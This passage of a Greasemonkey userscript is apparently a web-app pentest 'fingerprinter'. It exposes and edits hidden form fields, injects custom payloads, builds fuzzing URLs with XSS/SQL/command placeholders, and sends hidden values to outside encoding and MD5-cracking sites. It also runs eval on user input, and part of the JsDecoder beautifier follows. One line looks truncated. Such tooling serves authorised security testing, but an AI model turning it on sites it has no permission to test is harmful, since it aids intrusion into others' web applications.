// Print Window Object & Form Elements in Firebug Log
hasform = 0;
formsdata = "<br><b>[Form Data]</b><br>";
var curdir = document.URL.toString().substr(0,document.URL.toString().lastIndexOf("/")+1);
//var unsafeWindow.urlized_forms = new Array();
for(var f=0;f<=unsafeWindow.document.getElementsByTagName("form").length-1;f++)
{
hasform=1;
var urlee = '';
formsdata += "<br><i>Form " + f + ":</i><br>";
formsdata += "name: "+document.getElementsByTagName("form")[f].name+"<br>";
formsdata += "action: <a style='color:yellow!important;text-decoration:underline;' target='_blank' href='" + document.getElementsByTagName("form")[f].action + "'>"+ document.getElementsByTagName("form")[f].action +"</a><br>";
urlee += document.getElementsByTagName("form")[f].action+"?test=1";
formsdata += "method: <span id='yehg_fid-"+f + "'>" + document.getElementsByTagName("form")[f].method+"</span> ";
formsdata += "[<a style='color:yellow!important;text-decoration:underline;' href='javascript:void(0)' onclick='if(document.forms[" + f + "].method==\"get\"){document.forms[" + f + "].method=\"post\";document.getElementById(\"yehg_fid-" + f + "\").innerHTML=\"post\";}else{document.forms[" + f + "].method=\"get\";;document.getElementById(\"yehg_fid-" + f + "\").innerHTML=\"get\";}'>toggle method</a>]<br>";
formsdata += "<br><i>Form " + f + " Elements:</i><br>";
for(var e=0;e<=unsafeWindow.document.getElementsByTagName("form")[f].elements.length;e++)
{
if(unsafeWindow.document.getElementsByTagName("form")[f].elements[e]!= null && document.getElementsByTagName("form")[f].elements[e]!= "undefined")
{
if(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].name!="" && unsafeWindow.document.getElementsByTagName("form")[f].elements[e].name!="undefined" && unsafeWindow.document.getElementsByTagName("form")[f].elements[e].name!=null)
{
if(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].type=="hidden")
{
formsdata += "No. " + e + " . Name: " + unsafeWindow.document.getElementsByTagName("form")[f].elements[e].name+" [type=" +unsafeWindow.document.getElementsByTagName("form")[f].elements[e].type+"] [value=<span id='form-" + f + "-e-" + e + "' style='color:red;font-weight:bold'>" + escape(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value) + "</span>]";
formsdata += " [<a href=\"javascript:void(0)\" onclick=\"document.getElementsByTagName('form')["+f+"].elements["+e+"].type='text'\">Change hidden to text</a>] ";
if(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value.length >2)
{
formsdata += "<br>=> <a target='_blank' title='Send to PHP Charset Encoder' style='color:yellow!important;text-decoration:underline;' href='http://yehg.net/encoding/?outputtext="+ encodeURIComponent(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value) +"'>PCE</a> <a target='_blank' title='Send to HackerVertor' style='color:yellow!important;text-decoration:underline;' href='http://yehg.net/encoding/?sendtohackvertor="+ encodeURIComponent(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value) +"'>HackVertor</a>";
if(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value.length==32)
{
formsdata +=" <a target='_blank' title='Send to Gdata MD5 Cracker' style='color:yellow!important;text-decoration:underline;' href='http://gdataonline.com/qkhash.php?mode=xml&hash="+ unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value +"'>MD5Crack</a>"
}
formsdata +="<br>";
}
else
{
formsdata +="<br>";
}
formsdata += " [<a href=\"javascript:void(0)\" onclick=\"var x=prompt('Enter custom payload text');if(x){document.getElementsByTagName('form')["+f+"].elements["+e+"].value=x;document.getElementById('form-" + f + "-e-" + e + "').innerHTML=escape(x);}\">Change Value</a>]<br\/> ";
}
else
{
formsdata += "No. " + e + " . Name: " + unsafeWindow.document.getElementsByTagName("form")[f].elements[e].name+" [type=" +unsafeWindow.document.getElementsByTagName("form")[f].elements[e].type+"] [value=<span id='form-" + f + "-e-" + e + "' style='font-weight:bold;'>" + escape(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value) + "</span>]";
formsdata += " [<a href=\"javascript:void(0)\" onclick=\"var x=prompt('Enter custom payload text');if(x){document.getElementsByTagName('form')["+f+"].elements["+e+"].value=x;document.getElementById('form-" + f + "-e-" + e + "').innerHTML=escape(x);}\">Change Value</a>]";
}
urlee += "&" + unsafeWindow.document.getElementsByTagName("form")[f].elements[e].name +
"=" + escape(unsafeWindow.document.getElementsByTagName("form")[f].elements[e].value);
}
}
}
formsdata += '<br><br> <input type="button" value="Submit this form ' + f + ' " onclick="document.getElementsByTagName(\'form\')[' + f+ '].submit()"><br>';
formsdata += '<br>Form [' + f + '] URL String: [<span style="cursor:pointer;color:yellow!important;text-decoration:underline;" onclick="document.getElementById(\'form_urlized-' + f + '\').select()">Select</span> | <span style="cursor:pointer;color:yellow!important;text-decoration:underline;" onclick="document.getElementById(\'fuzz_url\').value=document.getElementById(\'form_urlized-' + f + '\').value;window.location=\'#stat\';void(0)">Send to FuzzForm</span> | ';
formsdata += '<span style="cursor:pointer;color:yellow!important;text-decoration:underline;" onclick="window.open(document.getElementById(\'form_urlized-' + f + '\').value);void(0)">PUSH to URL</span>]';
formsdata += '<br><textarea wrap="soft" cols="100" style="font-family:arial;font-size:12px;word-wrap:break-word" rows="7" id="form_urlized-' + f + '">' + urlee + '</textarea><br>Fuzz Keywords: {XSS} {SQL} {TRA} {CMD} {FUZZ} {DEBUG}<br>';
}
if(hasform==1){printdata += formsdata;}
// @credit : Ajax Db List was copied from shreeraj @ net-square.com
var get_ajax_framework = function(str)
{
var isPrototype = /^(prototype\.js)/i;
var scriptaculous = /^(builder|controls|window|dragdrop|effects|scriptaculous|slider|unittest)(\.js)/i;
var dojo= /^(dojo)(\.js\.uncompressed|\.js)/i;
var DWR = /^(auth|engine|util|DWRActionUtil)(\.js)/i;
var Moo = /^(Moo|Function|Array|String|Element|Fx|Dom|Ajax|Drag|Windows|Cookie|Json|Sortabe|Fxpack|Fxutils|Fxtransition|Tips|Accordion)(\.js)/i;
var Rico = /^(rico\.js)/i;
var Mochikit = /^(MochiKit\.js)/i;
var YUI = /^(animation|autocomplete|calendar|connection|container|dom|event|logger|menu|slider|tabview|treeview|utilities|yahoo|yahoo\-dom\-event)/i;
var Xajax = /^(xajax|xajax_uncompressed)(\.js)/i;
var GWT = /^(gwt|search\-results)(\.js)/i;
var Atlas = /^(AtlasRuntime|AtlasBindings|AtlasCompat|AtlasCompat2)(\.js)/i;
var jQuery = /^(jceutilities|jquery|jquery\-latest.pack|jquery\-latest)(\.js)/i;
var Macromedia = /^(mm_)/i;
var Google = /(google|gaia|ga|urchin|__utm)(\.js)/i;
var thirdPartyAddOn = /(_)(ads|shots|widget)(\.js)$/i;
if(isPrototype.test(str))
return "Prototype";
else if (scriptaculous.test(str))
return "Scriptaculous";
else if (dojo.test(str))
return "Dojo Toolkit";
else if (DWR.test(str))
return "Direct Web Remoting (DWR)";
else if (Moo.test(str))
return "Moo";
else if (Rico.test(str))
return "Rico";
else if (Mochikit.test(str))
return "Mochikit";
else if (YUI.test(str))
return "YUI";
else if (Xajax.test(str))
return "Xajax";
else if (GWT.test(str))
return "GWT";
else if (Atlas.test(str))
return "Microsoft Atlas";
else if (jQuery.test(str))
return "jQuery";
else if (Macromedia.test(str))
return "Adobe(Dreamweaver/Fireworks) Generated"
else if (Google.test(str))
return "Google Service"
else if (thirdPartyAddOn.test(str))
return "Third-Party Service Addons"
else
return "N/A";
}
//alert(get_ajax_framework("jceutilities-150.js"));
//alert(typeof(unsafeWindow.getCookie));
printdata += "<br><span style='font-style:italic;color:pink;'>Best Practice: Block all Ad-related JavaScript sources. Use AddblockPlus!</span><br>";
scriptsrc = "<br><b>[Script Source]</b><br><br>";
hasscriptsrc=0;
for(var s=0;s<=unsafeWindow.document.getElementsByTagName("script").length-1;s++)
{
hasscriptsrc=1;
if(unsafeWindow.document.getElementsByTagName("script")[s].src!="")
{
var src = unsafeWindow.document.getElementsByTagName("script")[s].src;
src = src.substring(src.lastIndexOf("/")+1,src.length);
scriptsrc += 'No. ' + s + ' <a target="_blank" style="color:yellow!important;text-decoration:underline;" href="' + unsafeWindow.document.getElementsByTagName("script")[s].src + '?fingerprint">'+unsafeWindow.document.getElementsByTagName("script")[s].src+'</a> of Framework: ' + get_ajax_framework(src) +'<br>';
}
else
{
scriptsrc += 'No. ' + s + ' <a target="_blank" style="color:yellow!important;text-decoration:underline;" href="javascript:void(0)" onclick="yehgWriteFirebugConsoleLog(unescape(\'Inline Script # ' + s + escape(unsafeWindow.document.getElementsByTagName("script")[s].innerHTML) + '\'));return false;">Inline JavaScript</a><br>';
}
}
if(hasscriptsrc==1){printdata+=scriptsrc;}
var yehgObj = /^(yehg)/i;
var nativeObj = /^(getInterface|window|console|document|addEventListener|__firebug__|firebug|_firebug|_FirebugConsole|loadFirebugConsole|XPCSafeJSObjectWrapper|showModalDialog|postMessage|location|navigator|Packages|sun|java|netscape|XPCNativeWrapper|GeckoActiveXObject|Components|parent|removeEventListener|top|scrollbars|name|scrollX|scrollY|scrollTo|scrollBy|getSelection|scrollByLines|scrollByPages|sizeToContent|prompt|dump|setTimeout|setInterval|clearTimeout|clearInterval|setResizable|captureEvents|releaseEvents|routeEvent|enableExternalCapture|disableExternalCapture|open|openDialog|frames|find|self|screen|history|content|menubar|toolbar|locationbar|personalbar|statusbar|directories|closed|crypto|pkcs11|controllers|opener|status|defaultStatus|innerWidth|innerHeight|outerWidth|outerHeight|screenX|screenY|pageXOffset|pageYOffset|scrollMaxX|scrollMaxY|length|fullScreen|alert|confirm|focus|blur|back|forward|home|stop|print|moveTo|moveBy|resizeTo|resizeBy|scroll|close|updateCommands|atob|btoa|frameElement|dispatchEvent|getComputedStyle|sessionStorage|globalStorage|applicationCache|_getFirebugConsoleElement|Firebug)$/;
var hasCusObj=0;
cusObj = "<br><b>[Custom JS Objects]</b><br><br>";
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("[Objects]");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
for(w in unsafeWindow.window)
{
if( (!nativeObj.test(w)) && (!yehgObj.test(w)))
{
if(typeof(eval("unsafeWindow."+w)) == "object")
{
if(w.indexOf("mm")==0)
{
cusObj += "=><a href=\"javascript:yehgWriteFirebugConsoleLog('"+w+"');yehgWriteFirebugConsoleDir("+w+")\">"+w+"</a> " + eval("unsafeWindow."+w)+" {possible source: adobe products}<br>";
}
else if(w.indexOf("google_")==0 || w.indexOf("_u")==0 || w.indexOf("gaGlobal")==0)
{
cusObj += "=><a href=\"javascript:yehgWriteFirebugConsoleLog('"+w+"');yehgWriteFirebugConsoleDir("+w+")\">"+w+"</a> " + eval("unsafeWindow."+w)+" {possible source: google ads}<br>";
}
else
{
cusObj += "=><a href=\"javascript:yehgWriteFirebugConsoleLog('"+w+"');yehgWriteFirebugConsoleDir("+w+")\">"+w+"</a> " + eval("unsafeWindow."+w)+"<br>";
}
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("=>"+w+" " + eval("unsafeWindow."+w)+"");
//unsafeWindow.yehgWriteFirebugConsoleDir(eval("unsafeWindow."+w));
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
hasCusObj=1;
}
}
}
cusObj += "<br><b>[Custom JS Variables]</b><br><br>";
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("[Variables]");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
for(w in unsafeWindow.window)
{
if( (!nativeObj.test(w)) && (!yehgObj.test(w)))
{
if(typeof(eval("unsafeWindow."+w)) != "function" && typeof(eval("unsafeWindow."+w)) != "object")
{
ev = eval("unsafeWindow."+w)+"";
ev=ev.replace(/</i,"<");
ev=ev.replace(/>/i,">");
if(w.indexOf("_u")==0 || w.indexOf("google_")==0)
{
cusObj += "=>"+w+" [type=" + typeof(eval("unsafeWindow."+w))+"] [value=" + ev + "] {possible source: google ads}<br>";
}
else
{
cusObj += "=>"+w+" [type=" + typeof(eval("unsafeWindow."+w))+"] [value=" + ev + "]<br>";
}
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("=>"+w+" [type=" + typeof(eval("unsafeWindow."+w))+"]");
//unsafeWindow.yehgWriteFirebugConsoleDir(eval("unsafeWindow."+w));
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
hasCusObj=1;
}
}
}
cusObj += "<br><b>[Custom JS Functions] <a style='color:yellow!important;text-decoration:underline;' href='javascript:var cus=prompt(\"Enter function name\",\"Function name\",\"Function to Execute\");if(cus!=null&&cus!=\"\"&&cus!=\"Function name\"){eval(cus);}'>Execute</a></b><br><br>";
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("[Functions]");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
for(w in unsafeWindow.window)
{
if( (!nativeObj.test(w)) && (!yehgObj.test(w)))
{
if(typeof(eval("unsafeWindow."+w)) == "function")
{
if(w.indexOf("google_")==0)
{
cusObj += "=><a style='color:yellow!important;text-decoration:underline;' href='javascript:yehgWriteFirebugConsoleDir("+w+");'>" + w + "()</a> {possible source: google ads}<br>";
}
else if(w.indexOf("__u")==0 || w.indexOf("_u")==0 || w.indexOf("urchinTracker") ==0)
{
cusObj += "=><a style='color:yellow!important;text-decoration:underline;' href='javascript:yehgWriteFirebugConsoleDir("+w+");'>" + w + "()</a> {possible source: google ads}<br>";
}
else
{
cusObj += "=><a style='color:yellow!important;text-decoration:underline;' href='javascript:yehgWriteFirebugConsoleDir("+w+");'>" + w + "()</a><br>";
}
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("=>"+w);
//unsafeWindow.yehgWriteFirebugConsoleDir(eval("unsafeWindow."+w));
//unsafeWindow.yehgWriteFirebugConsoleLog("");
//unsafeWindow.yehgWriteFirebugConsoleLog("");
hasCusObj=1;
//cusObj += "<pre>" + eval("unsafeWindow."+w)+"</pre><br><br>";
}
}
}
if(hasCusObj==1){printdata += cusObj;}
var div = document.createElement("div");
div.setAttribute("id","yehgfingerprint");
div.setAttribute("style","display:none;-moz-opacity:0;position:absolute;left:10%;right:10%;padding:1% 1% 1% 1%;top:1%;text-align:left;background-color:black;color:white;float:right;border:1px outset gray;");
div.innerHTML ="<a name='yehgfingerprint'></a>"+printdata+"<br>";
var div2 = document.createElement("div");
div2.setAttribute("id","yehgfingerprint2");
div2.setAttribute("style","-moz-opacity:0.2;position:fixed;top:1%;left:94%");
var div3 = document.createElement("div");
div3.setAttribute("id","yehgfingerprint_status");
div3.setAttribute("style","position:fixed;top:0%;left:45%;with:30%;border:1px solid black;background-color:red;color:white;display:none;");
div3.innerHTML = " Job: None ";
unsafeWindow.yehgWriteStatusLog = function(statusText,show)
{
if(show==1)
{
document.getElementById('yehgfingerprint_status').style.display = '';
}
else
{
document.getElementById('yehgfingerprint_status').style.display = 'none';
}
document.getElementById('yehgfingerprint_status').innerHTML = " "+statusText+" ";
if (statusText.indexOf('Done') > 0)
document.getElementById('yehgfingerprint_status').style.backgroundColor = 'green';
else
document.getElementById('yehgfingerprint_status').style.backgroundColor = 'red';
}
unsafeWindow.yehgToggleFlashObjs = function(show)
{
for(var j=0;j<=unsafeWindow.document.getElementsByTagName("object").length-1;j++)
{
if(show==1)
unsafeWindow.document.getElementsByTagName("object")[j].style.display = '';
else
unsafeWindow.document.getElementsByTagName("object")[j].style.display = 'none';
}
}
unsafeWindow.showYehgFingerprint = function()
{
unsafeWindow.yehgsfg=setInterval("yehgshowFingerprint()",80);
document.getElementById("yehgfingerprint2").style.display="none";
unsafeWindow.yehgFingerprinterHasShown = 1;
unsafeWindow.yehgToggleFlashObjs(0);
}
unsafeWindow.hideYehgFingerprint = function()
{
document.getElementById("yehgfingerprint").style.display="none";
document.getElementById("yehgfingerprint2").style.display="";
document.getElementById('yehgfingerprint_status').style.display="none";
unsafeWindow.yehgFingerprinterHasShown = 0;
unsafeWindow.yehgToggleFlashObjs(1);
}
unsafeWindow.yehgFingerprinterHasShown = 0;
unsafeWindow.yegh
div2.innerHTML = "<span title='Fingerprint this page!' style='background-color:navy;color:yellow;float:right;border:1px solid black;cursor:pointer;text-decoration:none;' onclick='showYehgFingerprint()'><img src='data:;base64,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'></span>";
if(printdata.length>284){document.body.appendChild(div);document.body.appendChild(div2);document.body.appendChild(div3);}
} //if(!invalidext.test(document.URL))
}
window.addEventListener('load',unsafeWindow.yehgdoFingerpint,true);
// Quick Access
unsafeWindow.yehgonKeyDown = function(event)
{
// 120 for F9. if you sucks , add this -> && event.ctrlKey
if (event.keyCode == 120)
{
if(unsafeWindow.yehgFingerprinterHasShown!=1)
{
unsafeWindow.showYehgFingerprint();
}
else
{
unsafeWindow.hideYehgFingerprint();
}
}
else
return;
event.stopPropagation();
}
GM_registerMenuCommand("Fingerprint this page!",function(){unsafeWindow.showYehgFingerprint();});
unsafeWindow.addEventListener("keypress", unsafeWindow.yehgonKeyDown, false);
}
else if ( (!invalidprotocol.test(yehg_url_scheme)) && (!document.title.search(/(Problem loading page|Page load error)/i)==0))
{
/******** [ JS Fingerprinting Start ] *********/
// ==Combining with UserScript==
// @name JS Colorizer
// @namespace yehg.net
// @developer aungkhant
// @original I'm not the author. I just made the Greasemonkey version of JS Colorizer by http://code.gosu.pl
// @description Colorize JS File like in Editors. Just append ?color to js file.
// @include *
// ==/Combining with UserScript==
/*
* DO NOT REMOVE THIS NOTICE
*
* PROJECT: JsDecoder
* VERSION: 1.1.0
* COPYRIGHT: (c) 2004-2008 Cezary Tomczak
* LINK: http://code.gosu.pl
* LICENSE: GPL
*/
function JsDecoder()
{
this.s = '';
this.len = 0;
this.i = 0;
this.lvl = 0; /* indent level */
this.code = [''];
this.row = 0;
this.switches = [];
this.lastWord = '';
this.nextChar = '';
this.prevChar = '';
this.isAssign = false;
this.decode = function ()
{
this.s = this.s.replace(/[\r\n\f]+/g, "\n");
this.len = this.s.length;
while (this.i < this.len)
{
var c = this.s.charAt(this.i);
this.charInit();
this.switch_c(c);
this.i++;
}
return this.code.join("\n");
};
this.switch_c = function(c)
{
switch (c)
{
case "\n":
this.linefeed();
break;
case ' ':
case "\t":
this.space();
break;
case '{': this.blockBracketOn(); break;
case '}': this.blockBracketOff(); break;
case ':': this.colon(); break;
case ';': this.semicolon(); break;
case '(': this.bracketOn(); break;
case ')': this.bracketOff(); break;
case '[': this.squareBracketOn(); break;
case ']': this.squareBracketOff(); break;
case '"':
case "'":
this.quotation(c);
break;
case '/':
if ('/' == this.nextChar) {
this.lineComment();
} else if ('*' == this.nextChar) {
this.comment();
} else {
this.slash();
}
break;
case ',': this.comma(); break;
case '.': this.dot(); break;
case '~':
case '^':
this.symbol1(c);
break;
case '-': case '+': case '*': case '%':
case '<': case '=': case '>': case '?':
case ':': case '&': case '|': case '/':
this.symbol2(c);
break;
case '!':
if ('=' == this.nextChar) {
this.symbol2(c);
} else {
this.symbol1(c);
}
break;
default:
if (/\w/.test(c)) { this.alphanumeric(c); }
else { this.unknown(c); }
break;
}
c = this.s.charAt(this.i);
if (!/\w/.test(c)) {
this.lastWord = '';
}
};
this.blockBracketOn = function ()
{
this.isAssign = false;
var nextNW = this.nextNonWhite(this.i);
if ('}' == nextNW) {
var ss = (this.prevChar == ')' ? ' ' : '');
this.write(ss+'{');
this.lvl++;
return;
}
if (/^\s*switch\s/.test(this.getCurrentLine())) {
this.switches.push(this.lvl);
}
var line = this.getCurrentLine();
var line_row = this.row;
var re = /(,)\s*(\w+\s*:\s*function\s*\([^\)]*\)\s*)$/;
if (re.test(line)) {
this.replaceLine(this.code[line_row].replace(re, '$1'));
this.writeLine();
var match = re.exec(line);
this.write(match[2]);
}
/* example: return {
title: 'Jack Slocum',
iconCls: 'user'}
After return bracket cannot be on another line
*/
if (/^\s*return\s*/.test(this.code[this.row])) {
if (/^\s*return\s+\w+/.test(this.code[this.row])) {
this.writeLine();
} else if (this.prevChar != ' ') {
this.write(' ');
}
this.write('{');
this.writeLine();
this.lvl++;
return;
}
if (/function\s*/.test(this.code[this.row]) || this.isBlockBig()) {
this.writeLine();
} else {
if (this.prevChar != ' ' && this.prevChar != "\n" && this.prevChar != '(') {
/* && this.prevChar != '(' && this.prevChar != '[' */
this.write(' ');
}
}
this.write('{');
this.lvl++;
if ('{' != nextNW) {
this.writeLine();
}
};
this.isBlockBig = function()
{
var i = this.i + 1;
var count = 0;
var opened = 0;
var closed = 0;
while (i < this.len - 1)
{
i++;
var c = this.s.charAt(i);
if (/\s/.test(c)) {
continue;
}
if ('}' == c && opened == closed) {
break;
}
if ('{' == c) { opened++; }
if ('}' == c) { closed++; }
count++;
if (count > 80) {
return true;
}
}
return (count > 80);
};
this.blockBracketOff = function ()
{
var nextNW = this.nextNonWhite(this.i);
var prevNW = this.prevNonWhite(this.i);
var line = this.getCurrentLine();
if (prevNW != '{')
{
if (line.length && nextNW != ';' && nextNW != '}' && nextNW != ')' && nextNW != ',') {
//this.semicolon();
this.writeLine();
} else if (line.length && prevNW != ';' && nextNW == '}' && this.isAssign) {
this.semicolon();
} else if (line.length && this.isAssign && prevNW != ';') {
this.semicolon();
} else if (line.length && prevNW != ';') {
if (/^\s*(else)?\s*return[\s(]+/i.test(line)) {
this.semicolon();
} else {
this.writeLine();
}
}
}
this.write('}');
if (',' == nextNW) {
this.write(',');
this.goNextNonWhite();
}
var next3 = this.nextManyNW(3);
if (next3 == '(),') {
this.write('(),');
this.goNextManyNW('(),');
this.writeLine();
}
else if (next3 == '();') {
this.write('();');
this.goNextManyNW('();');
this.writeLine();
}
else if (next3 == '():') {
this.write('()');
this.goNextManyNW('()');
this.write(' : ');
this.goNextNonWhite();
}
else
{
if ('{' == prevNW) {
if (',' == nextNW && this.getCurrentLine().length < 80) {
this.write(' ');
} else {
if (this.nextWord() || '}' == nextNW) {
this.writeLine();
}
}
} else {
if (')' != nextNW && ']' != nextNW) {
if (',' == nextNW && /^[\s\w,]+\)/.test(this.s.substr(this.i, 20))) {
this.write(' ');
} else {
this.writeLine();
}
}
}
}
this.lvl--;
if (this.switches.length && this.switches[this.switches.length - 1] == this.lvl)
{
var row = this.row - 1;
var spaces1 = str_repeat(' ', this.lvl * 4);
var spaces2 = str_repeat(' ', (this.lvl + 1) * 4);
var sw1 = new RegExp('^'+spaces1+'(switch\\s|{)');
var sw2 = new RegExp('^'+spaces2+'(case|default)[\\s:]');
var sw3 = new RegExp('^'+spaces2+'[^\\s]');
while (row > 0) {
row--;
if (sw1.test(this.code[row])) {
break;
}
if (sw2.test(this.code[row])) {
continue;
}
this.replaceLine(' ' + this.code[row], row);
/*
if (sw3.test(this.code[row])) {
this.replaceLine(' ' + this.code[row], row);
}
*/
}
this.switches.pop();
}
// fix missing brackets for sub blocks
if (this.sub) {
return;
}
var re1 = /^(\s*else\s*if)\s*\(/;
var re2 = /^(\s*else)\s+[^{]+/;
var part = this.s.substr(this.i+1, 100);
if (re1.test(part)) {
this.i += re1.exec(part)[1].length;
this.write('else if');
this.lastWord = 'if';
//debug(this.getCurrentLine(), 're1');
